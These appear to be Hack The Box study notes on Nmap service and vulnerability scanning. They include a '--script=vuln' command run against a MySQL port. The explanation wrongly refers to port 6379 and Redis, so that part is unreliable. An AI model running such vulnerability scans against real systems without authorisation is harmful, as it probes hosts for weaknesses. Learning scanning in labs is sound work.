 * Typically '-sV' is used with Nmap to determine versions, but that's not always enough. 
    - adding the -sC is another good way to determine service versions
       - the -sC option will run safe scripts which are designed to provide useful 
         information without being too intrusive or causing harm to the target systems.

 * the -SC runs the default set of Nmap scripts (NSE scripts), which typically include
   scripts for service enumeration, version detection, and other basic checks.
   
root@htb:~$ sudo nmap --script=vuln {targetIP} -p 3306
 PORT   STATE SERVICE
 3306/tcp open  mysql

 * the --script=vuln will run scripts that focus specifically on detecting known 
   vulnerabilities in the service running on port 6379
    - e.g., weak configurations, or known vulnerabilities in the redis service
       - if no results are found then the service may be fully patched!
